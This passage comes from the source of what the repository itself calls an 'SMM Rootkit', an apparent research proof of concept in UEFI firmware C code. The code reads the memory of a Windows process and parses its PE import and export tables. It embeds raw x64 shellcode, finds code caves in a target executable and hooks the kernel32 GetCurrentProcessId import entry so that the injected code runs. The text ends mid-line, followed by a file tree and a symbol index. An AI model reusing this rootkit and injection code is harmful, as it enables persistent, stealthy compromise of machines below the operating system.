SerialPrintStringDebug(" The target seems to be 32-bit...\r\n");
j = 0;
pIAT32 = (UINT32 *)(pbModule + pIID[i].FirstThunk);
pHNA32 = (UINT32 *)(pbModule + pIID[i].OriginalFirstThunk);
while (TRUE)
{
if ((UINT64)(pIAT32 + j) + sizeof(UINT32) - (UINT64)pbModule > cbModule)
break;
if ((UINT64)(pHNA32 + j) + sizeof(UINT32) - (UINT64)pbModule > cbModule)
break;
if (!pIAT32[j])
break;
if (!pHNA32[j])
break;
fFnName = (pHNA32[j] < cbModule - 40);
szNameFunction = (CHAR8 *)(pbModule + pHNA32[j] + 2);
szNameModule = (CHAR8 *)(pbModule + pIID[i].Name);
if (fFnName && !strcmp(szNameFunction, szImportProcName) && !stricmp(szNameModule, szImportModuleName))
{
SerialPrintStringDebug(" Found the procname ");
SerialPrintStringDebug(szNameFunction);
SerialPrintStringDebug(" for IAT hook!\r\n");
pThunkInfoIAT->fValid = TRUE;
pThunkInfoIAT->f32 = TRUE;
pThunkInfoIAT->vaThunk = basemodule->baseAddress + pIID[i].FirstThunk + sizeof(UINT32) * j;
pThunkInfoIAT->vaFunction = pIAT32[j];
pThunkInfoIAT->vaNameFunction = basemodule->baseAddress + pHNA32[j] + 2;
pThunkInfoIAT->vaNameModule = basemodule->baseAddress + pIID[i].Name;
gSmst2->SmmFreePages(physAddr, 1);
gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);
return TRUE;
}
c++;
j++;
}
}
else
{
// 64-bit PE
SerialPrintStringDebug(" The target seems to be 64-bit...\r\n");
j = 0;
pIAT64 = (UINT64 *)(pbModule + pIID[i].FirstThunk);
pHNA64 = (UINT64 *)(pbModule + pIID[i].OriginalFirstThunk);
while (TRUE)
{
if ((UINT64)(pIAT64 + j) + sizeof(UINT64) - (UINT64)pbModule > cbModule)
break;
if ((UINT64)(pHNA64 + j) + sizeof(UINT64) - (UINT64)pbModule > cbModule)
break;
if (!pIAT64[j])
break;
if (!pHNA64[j])
break;
fFnName = (pHNA64[j] < cbModule - 40);
szNameFunction = (CHAR8 *)(pbModule + pHNA64[j] + 2);
szNameModule = (CHAR8 *)(pbModule + pIID[i].Name);
SerialPrintStringDebug(" IAT: Comparing ");
SerialPrintStringDebug(szNameFunction);
SerialPrintStringDebug("\r\n");
if (fFnName && !strcmp(szNameFunction, szImportProcName) && !stricmp(szNameModule, szImportModuleName))
{
pThunkInfoIAT->fValid = TRUE;
pThunkInfoIAT->f32 = FALSE;
pThunkInfoIAT->vaThunk = basemodule->baseAddress + pIID[i].FirstThunk + sizeof(UINT64) * j;
pThunkInfoIAT->vaFunction = pIAT64[j];
pThunkInfoIAT->vaNameFunction = basemodule->baseAddress + pHNA64[j] + 2;
pThunkInfoIAT->vaNameModule = basemodule->baseAddress + pIID[i].Name;
gSmst2->SmmFreePages(physAddr, 1);
gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);
return TRUE;
}
c++;
j++;
}
}
i++;
}
fail:
gSmst2->SmmFreePages(physAddr, 1);
gSmst2->SmmFreePages(physAddrImage, cbModule / 0x1000 + 1);
return FALSE;
}
STATIC UINT16 PE_SectionGetNumberOf(WinProc *process, WinModule *basemodule)
{
EFI_PHYSICAL_ADDRESS physAddr;
EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);
if (ret != EFI_SUCCESS)
{
SerialPrintStringDebug("ERROR: Failed allocating pages \r\n");
gSmst2->SmmFreePages(physAddr, 1);
return 0;
}
UINT8 *pbModuleHeader = (UINT8 *)physAddr;
// nullify the allocated memory
for (INT32 k = 0; k < 0x1000; k++)
{
pbModuleHeader[k] = 0x00;
}
BOOLEAN f32;
UINT16 cSections;
PIMAGE_NT_HEADERS ntHeader;
// load nt header either by using optionally supplied module header or by fetching from memory.
if (!(ntHeader = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))
{
SerialPrintStringDebug("ERROR: Parsing PE headers in VMM failed!\r\n");
gSmst2->SmmFreePages(physAddr, 1);
return 0;
}
cSections = f32 ? ((PIMAGE_NT_HEADERS32)ntHeader)->FileHeader.NumberOfSections : ((PIMAGE_NT_HEADERS64)ntHeader)->FileHeader.NumberOfSections;
if (cSections > 0x40)
{
SerialPrintStringDebug("ERROR: Sections > 0x40!\r\n");
gSmst2->SmmFreePages(physAddr, 1);
return 0;
}
gSmst2->SmmFreePages(physAddr, 1);
return cSections;
}
STATIC VOID PE_SECTION_DisplayBuffer(WinProc *process, WinModule *basemodule, UINT32 cbDisplayBufferMax, UINT32 *pcSectionsOpt, PIMAGE_SECTION_HEADER pSectionsOpt)
{
EFI_PHYSICAL_ADDRESS physAddr;
EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);
if (ret != EFI_SUCCESS)
{
SerialPrintString("ERROR: Failed allocating pages \r\n");
return;
}
UINT8 *pbModuleHeader = (UINT8 *)physAddr;
// nullify the allocated memory
for (INT32 k = 0; k < 0x1000; k++)
{
pbModuleHeader[k] = 0x00;
}
PIMAGE_NT_HEADERS64 ntHeader64;
BOOLEAN fHdr32;
UINT32 cSections, cSectionsOpt;
PIMAGE_SECTION_HEADER pSectionBase;
if (pcSectionsOpt)
{
cSectionsOpt = *pcSectionsOpt;
*pcSectionsOpt = 0;
}
if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &fHdr32)))
{
return;
}
pSectionBase = fHdr32 ? (PIMAGE_SECTION_HEADER)((UINT64)ntHeader64 + sizeof(IMAGE_NT_HEADERS32)) : (PIMAGE_SECTION_HEADER)((UINT64)ntHeader64 + sizeof(IMAGE_NT_HEADERS64));
cSections = (UINT32)(((UINT64)pbModuleHeader + 0x1000 - (UINT64)pSectionBase) / sizeof(IMAGE_SECTION_HEADER));
if (cSections > ntHeader64->FileHeader.NumberOfSections)
{
cSections = ntHeader64->FileHeader.NumberOfSections;
}
if (pSectionsOpt && pcSectionsOpt && cSectionsOpt)
{
if (cSectionsOpt < ntHeader64->FileHeader.NumberOfSections)
{
*pcSectionsOpt = cSectionsOpt;
}
else
{
*pcSectionsOpt = ntHeader64->FileHeader.NumberOfSections;
}
p_memCpy((UINT64)pSectionsOpt, (UINT64)pSectionBase, *pcSectionsOpt * sizeof(IMAGE_SECTION_HEADER), FALSE);
}
gSmst2->SmmFreePages(physAddr, 1);
}
BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections)
{
UINT32 sections = PE_SectionGetNumberOf(process, basemodule);
if (!pSections)
{
*pcSections = sections;
return TRUE;
}
if (cSections < sections)
{
return FALSE;
}
PE_SECTION_DisplayBuffer(process, basemodule, 0, &cSections, pSections);
*pcSections = cSections;
return TRUE;
}
STATIC BOOLEAN PE_GetThunkInfoEAT(WinProc *process, WinModule *basemodule, CHAR8 *procName, PPE_THUNKINFO_EAT pThunkInfoEAT)
{
// allocate space for pbModuleHeader
EFI_PHYSICAL_ADDRESS physAddr;
EFI_STATUS ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);
if (ret != EFI_SUCCESS)
{
SerialPrintString("ERROR: Failed allocating pages for EAT dump!\r\n");
return FALSE;
}
UINT8 *pbModuleHeader = (UINT8 *)physAddr;
PIMAGE_NT_HEADERS32 ntHeader32;
PIMAGE_NT_HEADERS64 ntHeader64;
UINT32 *pdwRVAAddrNames;
UINT32 *pdwRVAAddrFunctions;
UINT16 *pwNameOrdinals;
UINT32 cbProcName, cbExportDirectoryOffset;
CHAR8 *sz;
UINT64 vaExportDirectory;
UINT32 cbExportDirectory;
UINT8 *pbExportDirectory = NULL;
UINT64 vaRVAAddrNames, vaNameOrdinals, vaRVAAddrFunctions;
BOOLEAN f32;
if (!(ntHeader64 = PE_HeaderGetVerify(process, basemodule, pbModuleHeader, &f32)))
{
goto cleanup;
}
if (f32)
{
ntHeader32 = (PIMAGE_NT_HEADERS32)ntHeader64;
vaExportDirectory = basemodule->baseAddress + ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
cbExportDirectory = ntHeader32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
}
else
{
vaExportDirectory = basemodule->baseAddress + ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
cbExportDirectory = ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
}
// sanity check the export directory values
if ((cbExportDirectory < sizeof(IMAGE_EXPORT_DIRECTORY)) || (cbExportDirectory > 0x01000000) || (vaExportDirectory == basemodule->baseAddress) || (vaExportDirectory > basemodule->baseAddress + 0x80000000))
{
goto cleanup;
}
EFI_PHYSICAL_ADDRESS physAddrExportDir;
ret = gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, cbExportDirectory / 0x1000 + 1, &physAddrExportDir);
if (ret != EFI_SUCCESS)
{
SerialPrintString("ERROR: Failed allocating pages for the EAT module export directory \r\n");
gSmst2->SmmFreePages(physAddr, 1);
return FALSE;
}
pbExportDirectory = (UINT8 *)physAddrExportDir;
// nullify the allocated memory
for (INT32 k = 0; k < cbExportDirectory; k++)
{
pbExportDirectory[k] = 0x00;
}
// read the export directory to SMM memory
// SerialPrintStringDebug(" Reading the export directory to the buffer ...\r\n");
v_memReadMultiPage((UINT64)pbExportDirectory, vaExportDirectory, cbExportDirectory, process->dirBase, FALSE);
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)pbExportDirectory;
SerialPrintStringDebug(" EAT Buffer filled with ");
SerialPrintNumberDebug(exp->NumberOfNames, 10);
SerialPrintStringDebug(" exported names in it!\r\n");
if (!exp || !exp->NumberOfNames || !exp->AddressOfNames)
{
SerialPrintString("ERROR: EAT exp buffer invalid!\r\n");
goto cleanup;
}
vaRVAAddrNames = basemodule->baseAddress + exp->AddressOfNames;
vaNameOrdinals = basemodule->baseAddress + exp->AddressOfNameOrdinals;
vaRVAAddrFunctions = basemodule->baseAddress + exp->AddressOfFunctions;
if ((vaRVAAddrNames < vaExportDirectory) || (vaRVAAddrNames > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT32)))
{
SerialPrintString("ERROR: vaRVAAddrNames invalid! value: ");
SerialPrintNumber(vaRVAAddrNames, 16);
SerialPrintString("\r\n");
goto cleanup;
}
if ((vaNameOrdinals < vaExportDirectory) || (vaNameOrdinals > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT16)))
{
SerialPrintString("ERROR: vaNameOrdinals invalid! value: ");
SerialPrintNumber(vaNameOrdinals, 16);
SerialPrintString("\r\n");
goto cleanup;
}
if ((vaRVAAddrFunctions < vaExportDirectory) || (vaRVAAddrFunctions > vaExportDirectory + cbExportDirectory - exp->NumberOfNames * sizeof(UINT32)))
{
SerialPrintString("ERROR: vaRVAAddrFunctions invalid! value: ");
SerialPrintNumber(vaRVAAddrFunctions, 16);
SerialPrintString("\r\n");
goto cleanup;
}
cbProcName = (UINT32)strlen(procName) + 1;
cbExportDirectoryOffset = (UINT32)(vaExportDirectory - basemodule->baseAddress);
pdwRVAAddrNames = (UINT32 *)(pbExportDirectory + exp->AddressOfNames - cbExportDirectoryOffset);
pwNameOrdinals = (UINT16 *)(pbExportDirectory + exp->AddressOfNameOrdinals - cbExportDirectoryOffset);
pdwRVAAddrFunctions = (UINT32 *)(pbExportDirectory + exp->AddressOfFunctions - cbExportDirectoryOffset);
for (UINT32 i = 0; i < exp->NumberOfNames; i++)
{
if (pdwRVAAddrNames[i] - cbExportDirectoryOffset + cbProcName > cbExportDirectory)
{
SerialPrintStringDebug("EAT: WARNING: pdwRVAAddrNames[i] exceeds cbExportDirectory at index ");
SerialPrintNumberDebug(i, 10);
SerialPrintStringDebug("\r\n");
continue;
}
sz = (CHAR8 *)(pbExportDirectory + pdwRVAAddrNames[i] - cbExportDirectoryOffset);
if (!strncmp(sz, procName, cbProcName))
{
if (pwNameOrdinals[i] >= exp->NumberOfFunctions)
{
goto cleanup;
}
SerialPrintStringDebug(" EAT: Found ProcName ");
SerialPrintStringDebug(sz);
SerialPrintStringDebug("!\r\n");
pThunkInfoEAT->fValid = TRUE;
pThunkInfoEAT->vaFunction = (UINT64)(basemodule->baseAddress + pdwRVAAddrFunctions[pwNameOrdinals[i]]);
pThunkInfoEAT->valueThunk = pdwRVAAddrFunctions[pwNameOrdinals[i]];
pThunkInfoEAT->vaThunk = vaExportDirectory + exp->AddressOfFunctions - cbExportDirectoryOffset + sizeof(UINT32) * pwNameOrdinals[i];
pThunkInfoEAT->vaNameFunction = vaExportDirectory + pdwRVAAddrNames[i] - cbExportDirectoryOffset;
gSmst2->SmmFreePages(physAddr, 1);
gSmst2->SmmFreePages(physAddrExportDir, cbExportDirectory / 0x1000 + 1);
return TRUE;
}
}
cleanup:
gSmst2->SmmFreePages(physAddr, 1);
gSmst2->SmmFreePages(physAddrExportDir, cbExportDirectory / 0x1000 + 1);
SerialPrintString("EAT: FAILED TO FIND procName: ");
SerialPrintString(procName);
SerialPrintString("\r\n");
return FALSE;
}
UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName)
{
PE_THUNKINFO_EAT oThunkInfoEAT = {0};
PE_GetThunkInfoEAT(process, basemodule, procName, &oThunkInfoEAT);
return oThunkInfoEAT.vaFunction;
}
================================================
FILE: SMM Rootkit/SMMRootkit/WinTools.h
================================================
/*
* This file and the corresponding .c file
* contains a set of needed Windows-related
* functions for both reading & writing its
* virtual memory.
*
* These files are imported and ported to work
* in SMM. The original libraries are
*
* - MemProcFS/pcileech by Ulf Frisk
* - vmread by Heep042
*
*/
#ifndef __smmrootkit_wintools_h__
#define __smmrootkit_wintools_h__
#include <Uefi.h>
#include <Base.h>
#include <Protocol/SmmBase2.h>
#include "windows.h"
#include "serial.h"
#include "string.h"
#include "Memory.h" // VTOP, p_memCpy, v_memCpy
#include "MemManager.h"
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1
#define IMAGE_SCN_MEM_EXECUTE 0x20000000
#define IMAGE_SCN_MEM_WRITE 0x80000000
typedef struct ProcessData
{
UINT64 mapsStart;
UINT64 mapsSize;
INT32 pid;
} ProcessData;
typedef struct WinOffsets
{
INT64 apl;
INT64 session;
INT64 imageFileName;
INT64 dirBase;
INT64 peb;
INT64 peb32;
INT64 threadListHead;
INT64 threadListEntry;
INT64 teb;
} WinOffsets;
typedef struct WinProc
{
UINT64 process;
UINT64 physProcess;
UINT64 dirBase;
UINT64 pid;
char name[16];
} WinProc;
typedef struct WinProcList
{
WinProc *list;
size_t size;
} WinProcList;
typedef struct WinExport
{
char *name;
UINT64 address;
} WinExport;
typedef struct WinExportList
{
WinExport *list;
size_t size;
} WinExportList;
typedef struct WinModule
{
UINT64 baseAddress;
UINT64 entryPoint;
UINT64 sizeOfModule;
char *name;
short loadCount;
} WinModule;
typedef struct WinModuleList
{
WinModule *list;
size_t size;
} WinModuleList;
typedef struct WinCtx
{
ProcessData process;
WinOffsets offsets;
UINT64 ntKernel;
UINT16 ntVersion;
UINT32 ntBuild;
WinExportList ntExports;
WinProc initialProcess;
} WinCtx;
typedef struct tdPE_THUNKINFO_IAT
{
UINT32 fValid;
UINT32 f32; // if TRUE fn is a 32-bit/4-byte entry, otherwise 64-bit/8-byte entry.
UINT64 vaThunk; // address of import address table 'thunk'.
UINT64 vaFunction; // value if import address table 'thunk' == address of imported function.
UINT64 vaNameModule; // address of name string for imported module.
UINT64 vaNameFunction; // address of name string for imported function.
} PE_THUNKINFO_IAT, *PPE_THUNKINFO_IAT;
typedef struct tdPE_THUNKINFO_EAT
{
UINT32 fValid;
UINT32 valueThunk; // value of export address table 'thunk'.
UINT64 vaThunk; // address of import address table 'thunk'.
UINT64 vaNameFunction; // address of name string for exported function.
UINT64 vaFunction; // address of exported function (module base + value parameter).
} PE_THUNKINFO_EAT, *PPE_THUNKINFO_EAT;
typedef struct _IMAGE_IMPORT_DESCRIPTOR
{
union {
UINT32 Characteristics; //0 for terminating null import descriptor
UINT32 OriginalFirstThunk; // RVA to original unbound IAT
};
UINT32 TimeDateStamp;
UINT32 ForwarderChain; // -1 if no forwarders
UINT32 Name; // RVA of imported DLL name (null-terminated SCII)
UINT32 FirstThunk; // RVA to IAT (if bound this IAT has addresses )
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
BOOLEAN InitGlobalWindowsContext();
IMAGE_NT_HEADERS *GetNTHeader(const WinCtx *ctx, const WinProc *process, UINT64 address, UINT8 *header, UINT8 *is64Bit);
BOOLEAN ParseExportTable(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, IMAGE_DATA_DIRECTORY *exports, WinExportList *outList);
BOOLEAN GenerateExportList(const WinCtx *ctx, const WinProc *process, UINT64 moduleBase, WinExportList *outList);
VOID FreeExportList(WinExportList list);
UINT64 GetProcAddress(const WinCtx *ctx, const WinProc *process, UINT64 module, const CHAR8 *procName);
UINT64 FindProcAddress(const WinExportList exports, const CHAR8 *procName);
PEB GetPeb(const WinCtx *ctx, const WinProc *process);
PEB32 GetPeb32(const WinCtx *ctx, const WinProc *process);
BOOLEAN FindProcess(WinCtx *ctx, CHAR8 *processname, BOOLEAN verbose);
BOOLEAN DumpSingleProcess(WinCtx *ctx, CHAR8 *processname, WinProc *process, BOOLEAN verbose);
BOOLEAN DumpSingleModule(const WinCtx *ctx, const WinProc *process, WinModule *out_module, BOOLEAN verbose);
BOOLEAN ProcessGetThunkInfoIAT(WinProc *process, WinModule *basemodule, CHAR8 *szImportModuleName, CHAR8 *szImportProcName, PPE_THUNKINFO_IAT pThunkInfoIAT);
BOOLEAN ProcessGetSections(WinProc *process, WinModule *basemodule, PIMAGE_SECTION_HEADER pSections, UINT32 cSections, UINT32 *pcSections);
UINT64 ProcessGetProcAddress(WinProc *process, WinModule *basemodule, CHAR8 *procName);
#endif
================================================
FILE: SMM Rootkit/SMMRootkit/WinUmdIATHook.c
================================================
#include "WinUmdIATHook.h"
// From NtKernelTools.c
extern WinCtx *winGlobal;
// shellcode to inject into the UMD
const UINT8 WinUmdIATShellCode[] = {
0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0xEB, 0x10, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x50, 0x48, 0x8B, 0x0D, 0xE8, 0xFF, 0xFF, 0xFF,
0x48, 0x83, 0xEC, 0x30, 0xE8, 0x13, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x58, 0x41, 0x59,
0x41, 0x58, 0x5A, 0x59, 0xFF, 0x25, 0xD6, 0xFF, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48,
0x89, 0x58, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x83, 0x79, 0x18, 0x00, 0x48, 0x8B, 0xD9,
0x74, 0x52, 0x48, 0x83, 0x60, 0xE8, 0x00, 0x48, 0x83, 0xC1, 0x58, 0xC7, 0x40, 0xE0, 0x80, 0x00,
0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0xC7, 0x40, 0xD8, 0x02, 0x00, 0x00, 0x00, 0xBA,
0x00, 0x00, 0x00, 0xC0, 0xFF, 0x53, 0x20, 0x48, 0x8B, 0xF8, 0x48, 0x83, 0xF8, 0xFF, 0x74, 0x24,
0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8D, 0x93, 0xBC, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9,
0x48, 0x8B, 0xC8, 0x45, 0x8D, 0x41, 0x10, 0xFF, 0x53, 0x48, 0x48, 0x8B, 0xCF, 0xFF, 0x53, 0x18,
0xC6, 0x43, 0x08, 0xFF, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xC4, 0x40, 0x5F, 0xC3 };
// these vars are needed between different stages, therefore
// they are defined global
static WinProc TargetProcess;
static WinModule TargetModule;
static PE_THUNKINFO_IAT oThunkInfoIAT;
static UINT64 vaCodeCave;
static UINT64 vaWriteCave;
static WinUmdIATState currState;
// Find the process
static BOOLEAN WindowsUmdIATHookStage1()
{
//-----------------------------------------
// 0: Find the process and its base module
//-----------------------------------------
BOOLEAN verbose = FALSE;
WinProc process;
if (!DumpSingleProcess(winGlobal, "smm_target.exe", &process, verbose))
{
return FALSE;
}
else
{
TargetProcess.dirBase = process.dirBase;
TargetProcess.physProcess = process.physProcess;
TargetProcess.process = process.process;
}
TargetModule.name = "smm_target.exe";
if (!DumpSingleModule(winGlobal, &TargetProcess, &TargetModule, verbose))
{
SerialPrintStringDebug("Failed parsing the base exe module! \r\n");
return FALSE;
}
return TRUE;
}
// From pcileech, for injecting UM shellcode into the target
static BOOLEAN WindowsUmdIATHookStage2()
{
WinUmdIATCtxLimited ctx;
CHAR8 *HookModuleName = "kernel32.dll";
CHAR8 *HookFunctionName = "GetCurrentProcessId";
// Sanity checking
if (TargetProcess.dirBase == 0 || TargetModule.baseAddress == 0)
{
SerialPrintStringDebug("The process dirbase or its module baseaddress was 0!\r\n");
return FALSE;
}
// Nullify variables that were possibly set last time
vaCodeCave = 0;
vaWriteCave = 0;
for (INT32 i = 0; i < sizeof(PE_THUNKINFO_IAT); i++)
{
((UINT8 *)&oThunkInfoIAT)[i] = 0;
}
//--------------------------------------------------------------------------
// 1: Verify process and locate 'IAT inject', r-x 'code cave' and rw- 'config cave'.
//--------------------------------------------------------------------------
SerialPrintStringDebug(" Getting process IAT Thunk ...\r\n");
if (!ProcessGetThunkInfoIAT(&TargetProcess, &TargetModule, HookModuleName, HookFunctionName, &oThunkInfoIAT))
{
SerialPrintString("ERROR: UMD EXEC: Could not get IAT Info!\r\n");
return FALSE;
}
if (!oThunkInfoIAT.fValid || oThunkInfoIAT.f32)
{
SerialPrintString("ERROR: UMD: EXEC: Could not retrieve valid hook in 64-bit process.\r\n");
return FALSE;
}
SerialPrintStringDebug(" Finding process sections for code & write caves ...\r\n");
UINT32 cSections;
PIMAGE_SECTION_HEADER pSections;
if (!ProcessGetSections(&TargetProcess, &TargetModule, NULL, 0, &cSections) || !cSections)
{
SerialPrintString("ERROR: UMD: EXEC: Could not retrieve sections #1\r\n");
return FALSE;
}
pSections = (PIMAGE_SECTION_HEADER)malloc(cSections * sizeof(IMAGE_SECTION_HEADER));
if (!pSections || !ProcessGetSections(&TargetProcess, &TargetModule, pSections, cSections, &cSections) || !cSections)
{
SerialPrintString("ERROR: UMD: EXEC: Could not retrieve sections #2\r\n");
return FALSE;
}
for (UINT32 i = 0; i < cSections; i++)
{
// 0x500 magic number for ShellCode to fit in
if (!vaCodeCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - 0x500)))
{
vaCodeCave = TargetModule.baseAddress + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - 0x500;
if (!VTOP(vaCodeCave & ~0xfff, TargetProcess.dirBase, FALSE))
{
vaCodeCave = 0; // read test failed!
}
}
if (!vaWriteCave && (pSections[i].Characteristics & IMAGE_SCN_MEM_WRITE) && ((pSections[i].Misc.VirtualSize & 0xfff) < (0x1000 - sizeof(ctx))))
{
vaWriteCave += TargetModule.baseAddress + ((pSections[i].VirtualAddress + pSections[i].Misc.VirtualSize + 0xfff) & ~0xfff) - sizeof(ctx);
if (!VTOP(vaWriteCave & ~0xfff, TargetProcess.dirBase, FALSE))
{
vaWriteCave = 0; // read test failed!
}
}
}
if (!vaCodeCave || !vaWriteCave)
{
if (!vaCodeCave)
{
SerialPrintString("ERROR: UMD: EXEC: Could not find a code cave!\r\n");
}
if (!vaWriteCave)
{
SerialPrintString("ERROR: UMD: EXEC: Could not find a write cave!\r\n");
}
return FALSE;
}
//------------------------------------------------
// 2: Prepare injection and patch shellcode
//------------------------------------------------
SerialPrintStringDebug(" Suitable caves found! Dumping kernel32.dll exports ...\r\n");
// Prepare shellcode (goes into r-x section)
UINT8 *ShellCode = (UINT8 *)malloc(sizeof(WinUmdIATShellCode));
p_memCpy((UINT64)ShellCode, (UINT64)WinUmdIATShellCode, sizeof(WinUmdIATShellCode), FALSE);
*(UINT64 *)(ShellCode + 0x08) = vaWriteCave;
*(UINT64 *)(ShellCode + 0x10) = oThunkInfoIAT.vaFunction;
// Dump the module kernel32.dll, we need it to map exports
WinModule kernel32_dll;
kernel32_dll.name = "kernel32.dll";
if (!DumpSingleModule(winGlobal, &TargetProcess, &kernel32_dll, FALSE))
{
SerialPrintStringDebug("Could not dump kernel32.dll from the target process!\r\n");
free(ShellCode);
return FALSE;
}
// TODO: atomicity / mutex with cmpxchg as in pcileech !
ctx.CMPXCHG = 0;
// Prepare configuration data (goes into rw- section)
ctx.fn.CloseHandle = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CloseHandle");
ctx.fn.CreateFileA = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateFileA");
ctx.fn.CreateProcessA = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateProcessA");
ctx.fn.CreateThread = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "CreateThread");
ctx.fn.GetExitCodeProcess = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "GetExitCodeProcess");
ctx.fn.ReadFile = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "ReadFile");
ctx.fn.WriteFile = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "WriteFile");
ctx.fn.LocalAlloc = ProcessGetProcAddress(&TargetProcess, &kernel32_dll, "LocalAlloc");
// hardcoded name to make it ez
p_memCpy((UINT64)ctx.ParamString1, (UINT64) "c:\\smm.txt", strlen("c:\\smm.txt") + 1, FALSE);
p_memCpy((UINT64)ctx.ParamString2, (UINT64) "Hello from SMM!", strlen("Hello from SMM!") + 1, FALSE);
//------------------------------------------------
// 4: TODO: Inject & hook IAT
//------------------------------------------------
v_memWrite(vaWriteCave, (UINT64)&ctx, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);
v_memWrite(vaCodeCave, (UINT64)ShellCode, sizeof(WinUmdIATShellCode), TargetProcess.dirBase, FALSE);
v_memWrite(oThunkInfoIAT.vaThunk, (UINT64)&vaCodeCave, 8, TargetProcess.dirBase, FALSE);
free(ShellCode);
return TRUE;
}
static BOOLEAN WindowsUmdIATHookStage3()
{
//------------------------------------------------
// 5: Check for execution after wait
//------------------------------------------------
BOOLEAN ret = TRUE;
WinUmdIATCtxLimited ctx;
v_memReadMultiPage((UINT64)&ctx, (UINT64)&vaWriteCave, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);
// The UMD program did not update the status field in context struct,
// the execution failed
if (!ctx.Status)
{
SerialPrintStringDebug(" UMD: FAILED! Error or Timeout after 15s.\r\n");
ret = FALSE;
}
else
SerialPrintStringDebug(" UMD: Execution succeeded! Restoring ...\r\n");
//------------------------------------------------
// 6: Restore
//------------------------------------------------
// Restore the IAT hook
v_memWrite(oThunkInfoIAT.vaThunk, (UINT64)&oThunkInfoIAT.vaFunction, 8, TargetProcess.dirBase, FALSE);
// Nullify write cave ...
for (INT32 i = 0; sizeof(WinUmdIATCtxLimited); i++)
{
((UINT8 *)&ctx)[i] = 0;
}
v_memWrite(vaWriteCave, (UINT64)&ctx, sizeof(WinUmdIATCtxLimited), TargetProcess.dirBase, FALSE);
// ... and the code cave. If malloc fails, we simply
// bail out without restoring the code cave.
UINT8 *ShellCode = (UINT8 *)malloc(sizeof(WinUmdIATShellCode));
if (!ShellCode)
{
SerialPrintStringDebug(" UMD: Restoring code cave failed! Executi
gitextract_y9b5pqko/
├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── SMM Rootkit/
│ ├── Conf/
│ │ └── target.txt
│ ├── OvmfPkg/
│ │ ├── OvmfPkgX64.dsc
│ │ └── OvmfPkgX64.fdf
│ ├── SMMRootkit/
│ │ ├── .gitignore
│ │ ├── MemManager.c
│ │ ├── MemManager.h
│ │ ├── Memory.c
│ │ ├── Memory.h
│ │ ├── MemoryMapUEFI.c
│ │ ├── MemoryMapUEFI.h
│ │ ├── SMMRootkit.c
│ │ ├── SMMRootkit.inf
│ │ ├── TimerRTC.c
│ │ ├── TimerRTC.h
│ │ ├── WinTools.c
│ │ ├── WinTools.h
│ │ ├── WinUmdIATHook.c
│ │ ├── WinUmdIATHook.h
│ │ ├── helpers.asm
│ │ ├── serial.c
│ │ ├── serial.h
│ │ ├── string.c
│ │ ├── string.h
│ │ └── windows.h
│ └── UefiCpuPkg/
│ ├── PiSmmCpuDxeSmm/
│ │ └── X64/
│ │ └── PageTbl.c
│ └── UefiCpuPkg.dec
├── run_docker.sh
├── shellcode/
│ └── windows_x64_umd_iat/
│ ├── README.md
│ ├── windows_x64_umd_iat.asm
│ └── windows_x64_umd_iat.c
└── target_tests/
└── windows_x64_umd_iat/
├── .gitignore
├── README.md
├── windows_x64_umd_iat/
│ ├── windows_x64_umd_iat.cpp
│ ├── windows_x64_umd_iat.vcxproj
│ └── windows_x64_umd_iat.vcxproj.filters
└── windows_x64_umd_iat.sln
SYMBOL INDEX (135 symbols across 18 files)
FILE: SMM Rootkit/SMMRootkit/MemManager.c
function UINT64 (line 11) | UINT64 GetMemAllocated()
